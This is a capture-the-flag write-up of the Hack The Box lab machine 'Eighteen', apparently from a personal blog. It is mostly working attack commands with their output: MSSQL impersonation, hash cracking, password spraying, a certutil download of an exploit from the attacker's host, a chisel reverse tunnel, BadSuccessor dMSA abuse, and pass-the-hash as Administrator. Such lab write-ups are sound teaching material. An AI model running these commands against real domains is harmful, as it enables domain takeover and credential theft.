<- cd ../ (back to ~/writeups on the homepage)

[ writeup · case #020 ]

Eighteen

Eighteen is a Windows Active Directory machine running on Server 2025. Initial access is gained through MSSQL login impersonation to access a financial planning database, where a PBKDF2 password hash is cracked to obtain domain credentials. Privilege escalation abuses a GenericAll ACL and the…

date
2025-11-15
read
3 min
tags
#htb #retired
platform
htb
os
windows
difficulty
easy

Summary


Enumeration

Port Scan

bash
rustscan --range 1-65535 -a eighteen.htb -- -A
text
PORT     STATE SERVICE  REASON          VERSION
PORT     STATE SERVICE  REASON          VERSION
80/tcp   open  http     syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: Welcome - eighteen.htb
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD

1433/tcp open  ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info: 
|   [REDACTED:IP]:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   [REDACTED:IP]:1433: 
|     Target_Name: EIGHTEEN
|     NetBIOS_Domain_Name: EIGHTEEN
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: eighteen.htb
|     DNS_Computer_Name: DC01.eighteen.htb
|     DNS_Tree_Name: eighteen.htb
|_    Product_Version: 10.0.26100
|_ssl-date: 2026-04-03T00:01:08+00:00; +7h00m03s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-02T23:11:29
| Not valid after:  2056-04-02T23:11:29
| MD5:     59d3 6a65 8112 62d9 c8bb 3e28 6cd8 8bae
| SHA-1:   d654 83cd a07e 18f9 2bcf b094 4698 f518 546d b964
| SHA-256: 8057 1478 72dd 4af9 a85a 6db4 2bc0 345c 9b8c 44af 7df8 d335 fb2d d0f8 2e05 e08e
| -----BEGIN CERTIFICATE-----
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| AGwAYgBhAGMAazCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBAJhJOGll
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| Cm2jKl3KCPMUhgjGrD/kQEgqwptYjx3tUG/Gt/68RgnhxyL/XuYoBgTXxp0WMP3Z
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| Q/TzEAQIdPZWCCeO7M331zu5ST/5VkTjOdByD/4UU7EEXdOb2oLz4l5uCFxpWHDa
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
|_-----END CERTIFICATE-----

5985/tcp open  http     syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0

Key findings:

  • Port 1433 — MSSQL Server 2022 on a DC — credentials provided by HTB for initial access
  • Port 5985 — WinRM open — this is our shell once we have valid domain creds
  • Port 80 — financial planner web app — backed by the MSSQL database
  • ~7h clock skew detected — critical for Kerberos later, needs faketime workaround

MSSQL Enumeration

The machine gives you starting credentials: kevin / [REDACTED:CRED]

bash
nxc mssql <target> -u kevin -p '[REDACTED:CRED]' --local-auth
text
MSSQL       ********   1433   DC01             [+] DC01\kevin:[REDACTED:CRED] 

Connecting with impacket:

bash
impacket-mssqlclient kevin:[REDACTED:CRED]@<target>

Kevin lands as guest on master. First thing I check is impersonation:

sql
SQL> enum_impersonate
text
execute as   database   permission_name   grantee   grantor
----------   --------   ---------------   -------   -------
LOGIN                   IMPERSONATE       kevin     appdev

Kevin can impersonate appdev. I also notice a non-default database financial_planner in enum_db. Kevin can't access it directly, but after impersonation:

sql
SQL> exec_as_login appdev
SQL> SELECT table_name FROM information_schema.tables;
text
users / incomes / expenses / allocations / analytics / visits

Foothold

Dumping the users table:

sql
SQL> SELECT * FROM users;
text
id    full_name   username   email                password_hash                                                              is_admin
----  ---------   --------   ------------------   ----------------------------------------------------------------------     --------
1002  admin       admin      [REDACTED:EMAIL]   pbkdf2:sha256:[REDACTED:CRED]                          1

This is a Werkzeug PBKDF2-SHA256 hash. Hashcat mode 10900 but needs reformatting first — converting the Werkzeug format to what hashcat expects:

bash
# salt: AMtzteQIG7yAbZIa  (base64 encode it)
# hash: 0673ad90... (base64 encode the hex bytes)
echo 'sha256:600000:QU10enRlUUlHN3lBYlpJYQ:[REDACTED:KEY]' > hashcat.txt
hashcat -m 10900 hashcat.txt /usr/share/wordlists/rockyou.txt
text
sha256:600000:QU10enRlUUlHN3lBYlpJYQ:[REDACTED:KEY]:[REDACTED:CRED]

Password cracked: [REDACTED:CRED]. This is the web app admin password.

Next step is to find domain users to spray against. Since SMB/445 is firewalled, RID brute through MSSQL:

bash
nxc mssql <target> -u kevin -p '[REDACTED:CRED]' --rid-brute --local-auth

This dumps the full domain user list including: jamie.dunn, jane.smith, alice.jones, adam.scott, bob.brown, carol.white, dave.green.

Spraying [REDACTED:CRED]against WinRM:

bash
nxc winrm <target> -u users.txt -p '[REDACTED:CRED]' -d eighteen.htb

adam.scott:[REDACTED:CRED] hits on WinRM:

bash
evil-winrm -i <target> -u adam.scott -p '[REDACTED:CRED]'

User Flag

bash
*Evil-WinRM* PS /home/light\Desktop> type user.txt

Privilege Escalation

Running WinPEAS immediately flags 70 AD objects where adam.scott has abuse-friendly rights, including:

text
-> Administrator (user)
   DN: CN=Administrator,CN=Users,DC=eighteen,DC=htb
   * GenericAll: Full control

GenericAll on Administrator sounds like an easy password reset — but it's blocked. Administrator is in the Protected Users group, which prevents password resets and NTLM auth. Every attempt via net user, ADSI, bloodyAD returns Access Denied.

The real path here is BadSuccessor (CVE-2025-53779) — a Windows Server 2025 privilege escalation that abuses delegated Managed Service Accounts (dMSAs). The idea: if you can create a dMSA in any OU and link it to a privileged account, the KDC treats the dMSA as the legitimate successor and hands it the target's Kerberos privileges.

Adam.scott has GenericAll on the OU=Staff container, which means he can create objects there.

Step 1 — Create the malicious dMSA:

powershell
# Download BadSuccessor (LuemmelSec version with exploit mode)
certutil -urlcache -f http://<kali>/BadSuccessor.ps1 exploit.ps1
. .\exploit.ps1

BadSuccessor -Mode Exploit -Path "OU=Staff,DC=eighteen,DC=htb" -Name "evil01" `
  -DelegatedAdmin "adam.scott" -DelegateTarget "Administrator" -Domain "eighteen.htb"
text
Successfully created and configured dMSA 'evil01'
Object adam.scott can now impersonate Administrator

Step 2 — Extract the ticket using bloodyAD through a chisel tunnel:

Since ports 88 and 389 are firewalled externally, I forward them through chisel:

bash
# Kali
./chisel server -p 8888 --reverse

# Victim (evil-winrm)
.\chisel.exe client <kali>:8888 R:88:127.0.0.1:88 R:389:127.0.0.1:389

The machine has a ~7h clock skew which breaks Kerberos. timedatectl doesn't stick due to NTP resync. Solution: libfaketime to wrap the process:

bash
# Get DC time through tunnel
nmap -sV -p 88 127.0.0.1 --script krb5-enum-users 2>/dev/null | grep "server time"

# bloodyAD handles clock skew automatically with --prepatch
bloodyad -i 127.0.0.1 -d eighteen.htb -p '[REDACTED:CRED]' -u 'adam.scott' add badSuccessor light --prepatch
text
[+] Creating DMSA light$ in OU=Staff,DC=eighteen,DC=htb
[+] Impersonating: CN=Administrator,CN=Users,DC=eighteen,DC=htb
Clock skew detected. Adjusting local time by 6:59:59. Retrying operation.

dMSA current keys found in TGS:
AES256: [REDACTED:HASH]
AES128: [REDACTED:HASH]
RC4: [REDACTED:HASH]
dMSA previous keys (including preceding managed accounts):
RC4: [REDACTED:HASH]

The previous keys RC4 is Administrator's NT hash.

Step 3 — PTH as Administrator:

bash
evil-winrm -u Administrator -H [REDACTED:HASH] -i <target>

Root Flag

bash
*Evil-WinRM* PS /home/light\Desktop> type root.txt

Key Takeaways

  • MSSQL login impersonation is a common foothold in AD environments — always run enum_impersonate early
  • Protected Users group blocks password resets and NTLM auth — GenericAll doesn't always mean easy privesc
  • BadSuccessor (CVE-2025-53779) is a powerful Server 2025-specific escalation — any user with CreateChild on an OU can compromise the entire domain by creating a dMSA linked to a privileged account. No patch available at time of writing
  • Clock skew on HTB is a recurring Kerberos issue — libfaketime or bloodyAD's auto-adjust are the cleanest workarounds

Resources